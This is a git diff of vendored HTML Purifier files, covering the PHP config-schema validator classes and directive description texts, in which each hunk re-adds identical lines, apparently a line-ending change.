foreach ($d->aliases as $alias) { - $this->validateId($alias); - $s = $alias->toString(); - if (isset($this->interchange->directives[$s])) { - $this->error("alias '$s'", 'collides with another directive'); - } - if (isset($this->aliases[$s])) { - $other_directive = $this->aliases[$s]; - $this->error("alias '$s'", "collides with alias for directive '$other_directive'"); - } - $this->aliases[$s] = $d->id->toString(); - } - array_pop($this->context); - } - - // protected helper functions - - /** - * Convenience function for generating HTMLPurifier_ConfigSchema_ValidatorAtom - * for validating simple member variables of objects. - * @param $obj - * @param $member - * @return HTMLPurifier_ConfigSchema_ValidatorAtom - */ - protected function with($obj, $member) - { - return new HTMLPurifier_ConfigSchema_ValidatorAtom($this->getFormattedContext(), $obj, $member); - } - - /** - * Emits an error, providing helpful context. - * @throws HTMLPurifier_ConfigSchema_Exception - */ - protected function error($target, $msg) - { - if ($target !== false) { - $prefix = ucfirst($target) . ' in ' . $this->getFormattedContext(); - } else { - $prefix = ucfirst($this->getFormattedContext()); - } - throw new HTMLPurifier_ConfigSchema_Exception(trim($prefix . ' ' . $msg)); - } - - /** - * Returns a formatted context string. - * @return string - */ - protected function getFormattedContext() - { - return implode(' in ', array_reverse($this->context)); - } -} - -// vim: et sw=4 sts=4 +parser = new HTMLPurifier_VarParser(); + } + + /** + * Validates a fully-formed interchange object. + * @param HTMLPurifier_ConfigSchema_Interchange $interchange + * @return bool + */ + public function validate($interchange) + { + $this->interchange = $interchange; + $this->aliases = array(); + // PHP is a bit lax with integer <=> string conversions in + // arrays, so we don't use the identical !== comparison + foreach ($interchange->directives as $i => $directive) { + $id = $directive->id->toString(); + if ($i != $id) { + $this->error(false, "Integrity violation: key '$i' does not match internal id '$id'"); + } + $this->validateDirective($directive); + } + return true; + } + + /** + * Validates a HTMLPurifier_ConfigSchema_Interchange_Id object. + * @param HTMLPurifier_ConfigSchema_Interchange_Id $id + */ + public function validateId($id) + { + $id_string = $id->toString(); + $this->context[] = "id '$id_string'"; + if (!$id instanceof HTMLPurifier_ConfigSchema_Interchange_Id) { + // handled by InterchangeBuilder + $this->error(false, 'is not an instance of HTMLPurifier_ConfigSchema_Interchange_Id'); + } + // keys are now unconstrained (we might want to narrow down to A-Za-z0-9.) + // we probably should check that it has at least one namespace + $this->with($id, 'key') + ->assertNotEmpty() + ->assertIsString(); // implicit assertIsString handled by InterchangeBuilder + array_pop($this->context); + } + + /** + * Validates a HTMLPurifier_ConfigSchema_Interchange_Directive object. + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d + */ + public function validateDirective($d) + { + $id = $d->id->toString(); + $this->context[] = "directive '$id'"; + $this->validateId($d->id); + + $this->with($d, 'description') + ->assertNotEmpty(); + + // BEGIN - handled by InterchangeBuilder + $this->with($d, 'type') + ->assertNotEmpty(); + $this->with($d, 'typeAllowsNull') + ->assertIsBool(); + try { + // This also tests validity of $d->type + $this->parser->parse($d->default, $d->type, $d->typeAllowsNull); + } catch (HTMLPurifier_VarParserException $e) { + $this->error('default', 'had error: ' . $e->getMessage()); + } + // END - handled by InterchangeBuilder + + if (!is_null($d->allowed) || !empty($d->valueAliases)) { + // allowed and valueAliases require that we be dealing with + // strings, so check for that early. + $d_int = HTMLPurifier_VarParser::$types[$d->type]; + if (!isset(HTMLPurifier_VarParser::$stringTypes[$d_int])) { + $this->error('type', 'must be a string type when used with allowed or value aliases'); + } + } + + $this->validateDirectiveAllowed($d); + $this->validateDirectiveValueAliases($d); + $this->validateDirectiveAliases($d); + + array_pop($this->context); + } + + /** + * Extra validation if $allowed member variable of + * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d + */ + public function validateDirectiveAllowed($d) + { + if (is_null($d->allowed)) { + return; + } + $this->with($d, 'allowed') + ->assertNotEmpty() + ->assertIsLookup(); // handled by InterchangeBuilder + if (is_string($d->default) && !isset($d->allowed[$d->default])) { + $this->error('default', 'must be an allowed value'); + } + $this->context[] = 'allowed'; + foreach ($d->allowed as $val => $x) { + if (!is_string($val)) { + $this->error("value $val", 'must be a string'); + } + } + array_pop($this->context); + } + + /** + * Extra validation if $valueAliases member variable of + * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d + */ + public function validateDirectiveValueAliases($d) + { + if (is_null($d->valueAliases)) { + return; + } + $this->with($d, 'valueAliases') + ->assertIsArray(); // handled by InterchangeBuilder + $this->context[] = 'valueAliases'; + foreach ($d->valueAliases as $alias => $real) { + if (!is_string($alias)) { + $this->error("alias $alias", 'must be a string'); + } + if (!is_string($real)) { + $this->error("alias target $real from alias '$alias'", 'must be a string'); + } + if ($alias === $real) { + $this->error("alias '$alias'", "must not be an alias to itself"); + } + } + if (!is_null($d->allowed)) { + foreach ($d->valueAliases as $alias => $real) { + if (isset($d->allowed[$alias])) { + $this->error("alias '$alias'", 'must not be an allowed value'); + } elseif (!isset($d->allowed[$real])) { + $this->error("alias '$alias'", 'must be an alias to an allowed value'); + } + } + } + array_pop($this->context); + } + + /** + * Extra validation if $aliases member variable of + * HTMLPurifier_ConfigSchema_Interchange_Directive is defined. + * @param HTMLPurifier_ConfigSchema_Interchange_Directive $d + */ + public function validateDirectiveAliases($d) + { + $this->with($d, 'aliases') + ->assertIsArray(); // handled by InterchangeBuilder + $this->context[] = 'aliases'; + foreach ($d->aliases as $alias) { + $this->validateId($alias); + $s = $alias->toString(); + if (isset($this->interchange->directives[$s])) { + $this->error("alias '$s'", 'collides with another directive'); + } + if (isset($this->aliases[$s])) { + $other_directive = $this->aliases[$s]; + $this->error("alias '$s'", "collides with alias for directive '$other_directive'"); + } + $this->aliases[$s] = $d->id->toString(); + } + array_pop($this->context); + } + + // protected helper functions + + /** + * Convenience function for generating HTMLPurifier_ConfigSchema_ValidatorAtom + * for validating simple member variables of objects. + * @param $obj + * @param $member + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + protected function with($obj, $member) + { + return new HTMLPurifier_ConfigSchema_ValidatorAtom($this->getFormattedContext(), $obj, $member); + } + + /** + * Emits an error, providing helpful context. + * @throws HTMLPurifier_ConfigSchema_Exception + */ + protected function error($target, $msg) + { + if ($target !== false) { + $prefix = ucfirst($target) . ' in ' . $this->getFormattedContext(); + } else { + $prefix = ucfirst($this->getFormattedContext()); + } + throw new HTMLPurifier_ConfigSchema_Exception(trim($prefix . ' ' . $msg)); + } + + /** + * Returns a formatted context string. + * @return string + */ + protected function getFormattedContext() + { + return implode(' in ', array_reverse($this->context)); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php index a2e0b4a1b3..c9aa3644af 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/ValidatorAtom.php @@ -1,130 +1,130 @@ -context = $context; - $this->obj = $obj; - $this->member = $member; - $this->contents =& $obj->$member; - } - - /** - * @return HTMLPurifier_ConfigSchema_ValidatorAtom - */ - public function assertIsString() - { - if (!is_string($this->contents)) { - $this->error('must be a string'); - } - return $this; - } - - /** - * @return HTMLPurifier_ConfigSchema_ValidatorAtom - */ - public function assertIsBool() - { - if (!is_bool($this->contents)) { - $this->error('must be a boolean'); - } - return $this; - } - - /** - * @return HTMLPurifier_ConfigSchema_ValidatorAtom - */ - public function assertIsArray() - { - if (!is_array($this->contents)) { - $this->error('must be an array'); - } - return $this; - } - - /** - * @return HTMLPurifier_ConfigSchema_ValidatorAtom - */ - public function assertNotNull() - { - if ($this->contents === null) { - $this->error('must not be null'); - } - return $this; - } - - /** - * @return HTMLPurifier_ConfigSchema_ValidatorAtom - */ - public function assertAlnum() - { - $this->assertIsString(); - if (!ctype_alnum($this->contents)) { - $this->error('must be alphanumeric'); - } - return $this; - } - - /** - * @return HTMLPurifier_ConfigSchema_ValidatorAtom - */ - public function assertNotEmpty() - { - if (empty($this->contents)) { - $this->error('must not be empty'); - } - return $this; - } - - /** - * @return HTMLPurifier_ConfigSchema_ValidatorAtom - */ - public function assertIsLookup() - { - $this->assertIsArray(); - foreach ($this->contents as $v) { - if ($v !== true) { - $this->error('must be a lookup array'); - } - } - return $this; - } - - /** - * @param string $msg - * @throws HTMLPurifier_ConfigSchema_Exception - */ - protected function error($msg) - { - throw new HTMLPurifier_ConfigSchema_Exception(ucfirst($this->member) . ' in ' . $this->context . ' ' . $msg); - } -} - -// vim: et sw=4 sts=4 +context = $context; + $this->obj = $obj; + $this->member = $member; + $this->contents =& $obj->$member; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertIsString() + { + if (!is_string($this->contents)) { + $this->error('must be a string'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertIsBool() + { + if (!is_bool($this->contents)) { + $this->error('must be a boolean'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertIsArray() + { + if (!is_array($this->contents)) { + $this->error('must be an array'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertNotNull() + { + if ($this->contents === null) { + $this->error('must not be null'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertAlnum() + { + $this->assertIsString(); + if (!ctype_alnum($this->contents)) { + $this->error('must be alphanumeric'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertNotEmpty() + { + if (empty($this->contents)) { + $this->error('must not be empty'); + } + return $this; + } + + /** + * @return HTMLPurifier_ConfigSchema_ValidatorAtom + */ + public function assertIsLookup() + { + $this->assertIsArray(); + foreach ($this->contents as $v) { + if ($v !== true) { + $this->error('must be a lookup array'); + } + } + return $this; + } + + /** + * @param string $msg + * @throws HTMLPurifier_ConfigSchema_Exception + */ + protected function error($msg) + { + throw new HTMLPurifier_ConfigSchema_Exception(ucfirst($this->member) . ' in ' . $this->context . ' ' . $msg); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt index 4a42382ec5..0517fed0a1 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedClasses.txt @@ -1,8 +1,8 @@ -Attr.AllowedClasses -TYPE: lookup/null -VERSION: 4.0.0 -DEFAULT: null ---DESCRIPTION-- -List of allowed class values in the class attribute. By default, this is null, -which means all classes are allowed. ---# vim: et sw=4 sts=4 +Attr.AllowedClasses +TYPE: lookup/null +VERSION: 4.0.0 +DEFAULT: null +--DESCRIPTION-- +List of allowed class values in the class attribute. By default, this is null, +which means all classes are allowed. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt index b033eb516a..249edd647b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedFrameTargets.txt @@ -1,12 +1,12 @@ -Attr.AllowedFrameTargets -TYPE: lookup -DEFAULT: array() ---DESCRIPTION-- -Lookup table of all allowed link frame targets. Some commonly used link -targets include _blank, _self, _parent and _top. Values should be -lowercase, as validation will be done in a case-sensitive manner despite -W3C's recommendation. XHTML 1.0 Strict does not permit the target attribute -so this directive will have no effect in that doctype. XHTML 1.1 does not -enable the Target module by default, you will have to manually enable it -(see the module documentation for more details.) ---# vim: et sw=4 sts=4 +Attr.AllowedFrameTargets +TYPE: lookup +DEFAULT: array() +--DESCRIPTION-- +Lookup table of all allowed link frame targets. Some commonly used link +targets include _blank, _self, _parent and _top. Values should be +lowercase, as validation will be done in a case-sensitive manner despite +W3C's recommendation. XHTML 1.0 Strict does not permit the target attribute +so this directive will have no effect in that doctype. XHTML 1.1 does not +enable the Target module by default, you will have to manually enable it +(see the module documentation for more details.) +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt index ed72a9d567..9a8fa6a2e2 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txt @@ -1,9 +1,9 @@ -Attr.AllowedRel -TYPE: lookup -VERSION: 1.6.0 -DEFAULT: array() ---DESCRIPTION-- -List of allowed forward document relationships in the rel attribute. Common -values may be nofollow or print. By default, this is empty, meaning that no -document relationships are allowed. ---# vim: et sw=4 sts=4 +Attr.AllowedRel +TYPE: lookup +VERSION: 1.6.0 +DEFAULT: array() +--DESCRIPTION-- +List of allowed forward document relationships in the rel attribute. Common +values may be nofollow or print. By default, this is empty, meaning that no +document relationships are allowed. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt index 1ae672d019..b017883485 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRev.txt @@ -1,9 +1,9 @@ -Attr.AllowedRev -TYPE: lookup -VERSION: 1.6.0 -DEFAULT: array() ---DESCRIPTION-- -List of allowed reverse document relationships in the rev attribute. This -attribute is a bit of an edge-case; if you don't know what it is for, stay -away. ---# vim: et sw=4 sts=4 +Attr.AllowedRev +TYPE: lookup +VERSION: 1.6.0 +DEFAULT: array() +--DESCRIPTION-- +List of allowed reverse document relationships in the rev attribute. This +attribute is a bit of an edge-case; if you don't know what it is for, stay +away. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt index 119a9d2c66..e774b823b1 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.ClassUseCDATA.txt @@ -1,19 +1,19 @@ -Attr.ClassUseCDATA -TYPE: bool/null -DEFAULT: null -VERSION: 4.0.0 ---DESCRIPTION-- -If null, class will auto-detect the doctype and, if matching XHTML 1.1 or -XHTML 2.0, will use the restrictive NMTOKENS specification of class. Otherwise, -it will use a relaxed CDATA definition. If true, the relaxed CDATA definition -is forced; if false, the NMTOKENS definition is forced. To get behavior -of HTML Purifier prior to 4.0.0, set this directive to false. - -Some rational behind the auto-detection: -in previous versions of HTML Purifier, it was assumed that the form of -class was NMTOKENS, as specified by the XHTML Modularization (representing -XHTML 1.1 and XHTML 2.0). The DTDs for HTML 4.01 and XHTML 1.0, however -specify class as CDATA. HTML 5 effectively defines it as CDATA, but -with the additional constraint that each name should be unique (this is not -explicitly outlined in previous specifications). ---# vim: et sw=4 sts=4 +Attr.ClassUseCDATA +TYPE: bool/null +DEFAULT: null +VERSION: 4.0.0 +--DESCRIPTION-- +If null, class will auto-detect the doctype and, if matching XHTML 1.1 or +XHTML 2.0, will use the restrictive NMTOKENS specification of class. Otherwise, +it will use a relaxed CDATA definition. If true, the relaxed CDATA definition +is forced; if false, the NMTOKENS definition is forced. To get behavior +of HTML Purifier prior to 4.0.0, set this directive to false. + +Some rational behind the auto-detection: +in previous versions of HTML Purifier, it was assumed that the form of +class was NMTOKENS, as specified by the XHTML Modularization (representing +XHTML 1.1 and XHTML 2.0). The DTDs for HTML 4.01 and XHTML 1.0, however +specify class as CDATA. HTML 5 effectively defines it as CDATA, but +with the additional constraint that each name should be unique (this is not +explicitly outlined in previous specifications). +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt index 80b1431c3d..533165e175 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultImageAlt.txt @@ -1,11 +1,11 @@ -Attr.DefaultImageAlt -TYPE: string/null -DEFAULT: null -VERSION: 3.2.0 ---DESCRIPTION-- -This is the content of the alt tag of an image if the user had not -previously specified an alt attribute. This applies to all images without -a valid alt attribute, as opposed to %Attr.DefaultInvalidImageAlt, which -only applies to invalid images, and overrides in the case of an invalid image. -Default behavior with null is to use the basename of the src tag for the alt. ---# vim: et sw=4 sts=4 +Attr.DefaultImageAlt +TYPE: string/null +DEFAULT: null +VERSION: 3.2.0 +--DESCRIPTION-- +This is the content of the alt tag of an image if the user had not +previously specified an alt attribute. This applies to all images without +a valid alt attribute, as opposed to %Attr.DefaultInvalidImageAlt, which +only applies to invalid images, and overrides in the case of an invalid image. +Default behavior with null is to use the basename of the src tag for the alt. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt index c51000d1d7..9eb7e38469 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txt @@ -1,9 +1,9 @@ -Attr.DefaultInvalidImage -TYPE: string -DEFAULT: '' ---DESCRIPTION-- -This is the default image an img tag will be pointed to if it does not have -a valid src attribute. In future versions, we may allow the image tag to -be removed completely, but due to design issues, this is not possible right -now. ---# vim: et sw=4 sts=4 +Attr.DefaultInvalidImage +TYPE: string +DEFAULT: '' +--DESCRIPTION-- +This is the default image an img tag will be pointed to if it does not have +a valid src attribute. In future versions, we may allow the image tag to +be removed completely, but due to design issues, this is not possible right +now. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt index c1ec4b038b..2f17bf477a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImageAlt.txt @@ -1,8 +1,8 @@ -Attr.DefaultInvalidImageAlt -TYPE: string -DEFAULT: 'Invalid image' ---DESCRIPTION-- -This is the content of the alt tag of an invalid image if the user had not -previously specified an alt attribute. It has no effect when the image is -valid but there was no alt attribute present. ---# vim: et sw=4 sts=4 +Attr.DefaultInvalidImageAlt +TYPE: string +DEFAULT: 'Invalid image' +--DESCRIPTION-- +This is the content of the alt tag of an invalid image if the user had not +previously specified an alt attribute. It has no effect when the image is +valid but there was no alt attribute present. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt index 5781382775..cc49d43fd0 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefix.txt @@ -1,12 +1,12 @@ -Attr.IDPrefix -TYPE: string -VERSION: 1.2.0 -DEFAULT: '' ---DESCRIPTION-- -String to prefix to IDs. If you have no idea what IDs your pages may use, -you may opt to simply add a prefix to all user-submitted ID attributes so -that they are still usable, but will not conflict with core page IDs. -Example: setting the directive to 'user_' will result in a user submitted -'foo' to become 'user_foo' Be sure to set %HTML.EnableAttrID to true -before using this. ---# vim: et sw=4 sts=4 +Attr.IDPrefix +TYPE: string +VERSION: 1.2.0 +DEFAULT: '' +--DESCRIPTION-- +String to prefix to IDs. If you have no idea what IDs your pages may use, +you may opt to simply add a prefix to all user-submitted ID attributes so +that they are still usable, but will not conflict with core page IDs. +Example: setting the directive to 'user_' will result in a user submitted +'foo' to become 'user_foo' Be sure to set %HTML.EnableAttrID to true +before using this. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt index f91fcd602b..2c5924a7ad 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.IDPrefixLocal.txt @@ -1,14 +1,14 @@ -Attr.IDPrefixLocal -TYPE: string -VERSION: 1.2.0 -DEFAULT: '' ---DESCRIPTION-- -Temporary prefix for IDs used in conjunction with %Attr.IDPrefix. If you -need to allow multiple sets of user content on web page, you may need to -have a seperate prefix that changes with each iteration. This way, -seperately submitted user content displayed on the same page doesn't -clobber each other. Ideal values are unique identifiers for the content it -represents (i.e. the id of the row in the database). Be sure to add a -seperator (like an underscore) at the end. Warning: this directive will -not work unless %Attr.IDPrefix is set to a non-empty value! ---# vim: et sw=4 sts=4 +Attr.IDPrefixLocal +TYPE: string +VERSION: 1.2.0 +DEFAULT: '' +--DESCRIPTION-- +Temporary prefix for IDs used in conjunction with %Attr.IDPrefix. If you +need to allow multiple sets of user content on web page, you may need to +have a seperate prefix that changes with each iteration. This way, +seperately submitted user content displayed on the same page doesn't +clobber each other. Ideal values are unique identifiers for the content it +represents (i.e. the id of the row in the database). Be sure to add a +seperator (like an underscore) at the end. Warning: this directive will +not work unless %Attr.IDPrefix is set to a non-empty value! +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt index 2d7f94e023..d5caa1bb97 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txt @@ -1,31 +1,31 @@ -AutoFormat.AutoParagraph -TYPE: bool -VERSION: 2.0.1 -DEFAULT: false ---DESCRIPTION-- - -

    - This directive turns on auto-paragraphing, where double newlines are - converted in to paragraphs whenever possible. Auto-paragraphing: -

    -
      -
    • Always applies to inline elements or text in the root node,
    • -
    • Applies to inline elements or text with double newlines in nodes - that allow paragraph tags,
    • -
    • Applies to double newlines in paragraph tags
    • -
    -

    - p tags must be allowed for this directive to take effect. - We do not use br tags for paragraphing, as that is - semantically incorrect. -

    -

    - To prevent auto-paragraphing as a content-producer, refrain from using - double-newlines except to specify a new paragraph or in contexts where - it has special meaning (whitespace usually has no meaning except in - tags like pre, so this should not be difficult.) To prevent - the paragraphing of inline text adjacent to block elements, wrap them - in div tags (the behavior is slightly different outside of - the root node.) -

    ---# vim: et sw=4 sts=4 +AutoFormat.AutoParagraph +TYPE: bool +VERSION: 2.0.1 +DEFAULT: false +--DESCRIPTION-- + +

    + This directive turns on auto-paragraphing, where double newlines are + converted in to paragraphs whenever possible. Auto-paragraphing: +

    +
      +
    • Always applies to inline elements or text in the root node,
    • +
    • Applies to inline elements or text with double newlines in nodes + that allow paragraph tags,
    • +
    • Applies to double newlines in paragraph tags
    • +
    +

    + p tags must be allowed for this directive to take effect. + We do not use br tags for paragraphing, as that is + semantically incorrect. +

    +

    + To prevent auto-paragraphing as a content-producer, refrain from using + double-newlines except to specify a new paragraph or in contexts where + it has special meaning (whitespace usually has no meaning except in + tags like pre, so this should not be difficult.) To prevent + the paragraphing of inline text adjacent to block elements, wrap them + in div tags (the behavior is slightly different outside of + the root node.) +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt index 2eb1974fd0..2a476481af 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Custom.txt @@ -1,12 +1,12 @@ -AutoFormat.Custom -TYPE: list -VERSION: 2.0.1 -DEFAULT: array() ---DESCRIPTION-- - -

    - This directive can be used to add custom auto-format injectors. - Specify an array of injector names (class name minus the prefix) - or concrete implementations. Injector class must exist. -

    ---# vim: et sw=4 sts=4 +AutoFormat.Custom +TYPE: list +VERSION: 2.0.1 +DEFAULT: array() +--DESCRIPTION-- + +

    + This directive can be used to add custom auto-format injectors. + Specify an array of injector names (class name minus the prefix) + or concrete implementations. Injector class must exist. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt index c955de7f62..663064a344 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.DisplayLinkURI.txt @@ -1,11 +1,11 @@ -AutoFormat.DisplayLinkURI -TYPE: bool -VERSION: 3.2.0 -DEFAULT: false ---DESCRIPTION-- -

    - This directive turns on the in-text display of URIs in <a> tags, and disables - those links. For example, example becomes - example (http://example.com). -

    ---# vim: et sw=4 sts=4 +AutoFormat.DisplayLinkURI +TYPE: bool +VERSION: 3.2.0 +DEFAULT: false +--DESCRIPTION-- +

    + This directive turns on the in-text display of URIs in <a> tags, and disables + those links. For example, example becomes + example (http://example.com). +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt index 328b2b2bfe..3a48ba960e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.Linkify.txt @@ -1,12 +1,12 @@ -AutoFormat.Linkify -TYPE: bool -VERSION: 2.0.1 -DEFAULT: false ---DESCRIPTION-- - -

    - This directive turns on linkification, auto-linking http, ftp and - https URLs. a tags with the href attribute - must be allowed. -

    ---# vim: et sw=4 sts=4 +AutoFormat.Linkify +TYPE: bool +VERSION: 2.0.1 +DEFAULT: false +--DESCRIPTION-- + +

    + This directive turns on linkification, auto-linking http, ftp and + https URLs. a tags with the href attribute + must be allowed. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt index d0532b6ba4..db58b13464 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txt @@ -1,12 +1,12 @@ -AutoFormat.PurifierLinkify.DocURL -TYPE: string -VERSION: 2.0.1 -DEFAULT: '#%s' -ALIASES: AutoFormatParam.PurifierLinkifyDocURL ---DESCRIPTION-- -

    - Location of configuration documentation to link to, let %s substitute - into the configuration's namespace and directive names sans the percent - sign. -

    ---# vim: et sw=4 sts=4 +AutoFormat.PurifierLinkify.DocURL +TYPE: string +VERSION: 2.0.1 +DEFAULT: '#%s' +ALIASES: AutoFormatParam.PurifierLinkifyDocURL +--DESCRIPTION-- +

    + Location of configuration documentation to link to, let %s substitute + into the configuration's namespace and directive names sans the percent + sign. +

